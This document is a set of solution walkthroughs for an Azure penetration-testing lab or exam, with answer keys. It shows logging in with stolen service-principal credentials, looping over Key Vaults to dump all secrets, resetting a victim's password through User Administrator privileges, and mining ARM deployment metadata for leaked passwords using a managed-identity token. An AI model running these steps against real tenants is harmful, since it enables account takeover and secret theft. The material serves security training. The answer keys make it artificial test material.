Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login –service-principal \
-u ‘ < client-id > ‘ \
-p ‘ < client-secret > ‘ \
–tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
–assignee ‘ < client-id > ‘ \
–all \
–output table
If the –assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
–id ‘ < client-id > ‘ \
–query id \
–output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show –id ‘ < client-id > ‘ –query id -o tsv)
az role assignment list \
–assignee ” $SP_OBJECT_ID ” \
–all \
–output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User

Detailed Solution:
Resolve the service principal object ID:
az ad sp show \
–id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
–query id \
–output tsv
Then list role assignments:
SP_OBJECT_ID=$(az ad sp show \
–id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
–query id \
–output tsv)
az role assignment list \
–assignee ” $SP_OBJECT_ID ” \
–all \
–output table
Expected output:
Principal Role Scope
———————————— ———– —————————————-
< sp-object-id > Contributor /subscriptions/5d8e44ac-…
Correct answer:
B). Contributor

Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
–assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
–all \
–output table
Expected output:
Principal Role Scope
———————————— ———————- ———————————————- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/…/resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

Detailed Solution:
List NSG rules:
az network nsg rule list \
–resource-group rg-prod-apps-eastus \
–nsg-name nsg-prod-linux01 \
–output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange
———— ——– ——— —— ——– ———— ——————– Allow-SSH 100 Inbound Allow Tcp Internet 22 SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
B). Allow TCP 22 from Internet

Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

Detailed Solution:
Log in using the credential recovered in Q4.
az login -u [email protected] -p ‘ < recovered-password > ‘ Confirm the current signed-in user:
az ad signed-in-user show –output json
Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.
az rest –method GET \
–url ” https://graph.microsoft.com/v1.0/me/memberOf ” \
–output json
To display only role names:
az rest –method GET \
–url ” https://graph.microsoft.com/v1.0/me/memberOf ” \
–query ” value[].displayName ” \
–output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator

See the Answer in Explanation below.
Explanation:
The answer is the final Flag{…} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list –output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list –query ” [].name ” -o tsv); do
echo ” ===== $kv ===== “
az keyvault secret list \
–vault-name ” $kv ” \
–output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
–vault-name < vault-name > \
–name < secret-name > \
–query value \
–output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list –query ” [].name ” -o tsv); do
echo ” ===== Vault: $kv ===== “
for sec in $(az keyvault secret list –vault-name ” $kv ” –query ” [].name ” -o tsv); do echo ” —– Secret: $sec —– ” az keyvault secret show \
–vault-name ” $kv ” \
–name ” $sec ” \
–query value \
–output tsv
done
done
Look for the final value in this format:
Flag{…}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{…} value returned by az keyvault secret show.

See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list –output table
List secrets:
az keyvault secret list \
–vault-name kv-finance-prod \
–output table
Expected output:
Name Enabled
—————- ——–
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
–vault-name kv-finance-prod \
–name internal-flag \
–query value \
–output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= ” excaliburstore “
SAS= ” < recovered-sas-token > “
List containers:
az storage container list \
–account-name ” $ACCOUNT ” \
–sas-token ” $SAS ” \
–output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
–account-name ” $ACCOUNT ” \
–container-name sensitive-files \
–sas-token ” $SAS ” \
–output table
Final answer:
C). sensitive-files

See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
–id [email protected] \
–password ‘ NewP@ssw0rd12345! ‘ \
–force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p ‘ NewP@ssw0rd12345! ‘ Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list –output table
Check role assignments:
az role assignment list –all –output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list –output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
–account-name excaliburstore \
–auth-mode login \
–output table
Query each table:
az storage entity query \
–account-name excaliburstore \
–table-name < table-name > \
–auth-mode login \
–output json
A faster method:
for table in $(az storage table list –account-name excaliburstore –auth-mode login –query ” [].name ” -o tsv); do echo ” ===== $table ===== ” az storage entity query \
–account-name excaliburstore \
–table-name ” $table ” \
–auth-mode login \
–output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{…} value returned from the accessible table/storage data after logging in as lila.
[email protected].

See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl ” $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df ” \
-H ” X-IDENTITY-HEADER: $IDENTITY_HEADER “
For Windows PowerShell inside Kudu:
$uri = ” $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df “
$response = Invoke-RestMethod -Uri $uri -Headers @{
” X-IDENTITY-HEADER ” = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = ” 7403ec86-c39d-4d80-9efa-35c7580ecefa “
$rg = ” Excalibur-Resources “
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
For each deployment name returned, inspect it:
$deploymentName = ” < deployment-name > “
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Also check deployment operations:
Invoke-RestMethod `
-Uri ” https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 ” `
-Headers @{ Authorization = ” Bearer $token ” }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H ” Authorization: Bearer $TOKEN ” \
” https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 ” \
| jq ‘ .. | strings ‘ | grep -iE ‘ password|secret|credential|sumit|flag ‘ Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.

Detailed Solution:
Download the blob:
az storage blob download \
–account-name prodreportstore01 \
–container-name public-backups \
–name backup-config.json \
–file backup-config.json \
–auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
” tenantId ” : ” 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a ” ,
” clientId ” : ” c5fba7db-5e61-45bc-8944-3cd457bb19c2 ” ,
” clientSecret ” : ” REDACTED “
}
The App Registration application/client ID is stored in:
clientId

Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl ” $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ ” \
-H ” X-IDENTITY-HEADER: $IDENTITY_HEADER “
The response contains:
{
” access_token ” : ” < jwt-token > ” ,
” resource ” : ” https://management.azure.com/ ” ,
” token_type ” : ” Bearer “
}
Correct option:
B). https://management.azure.com/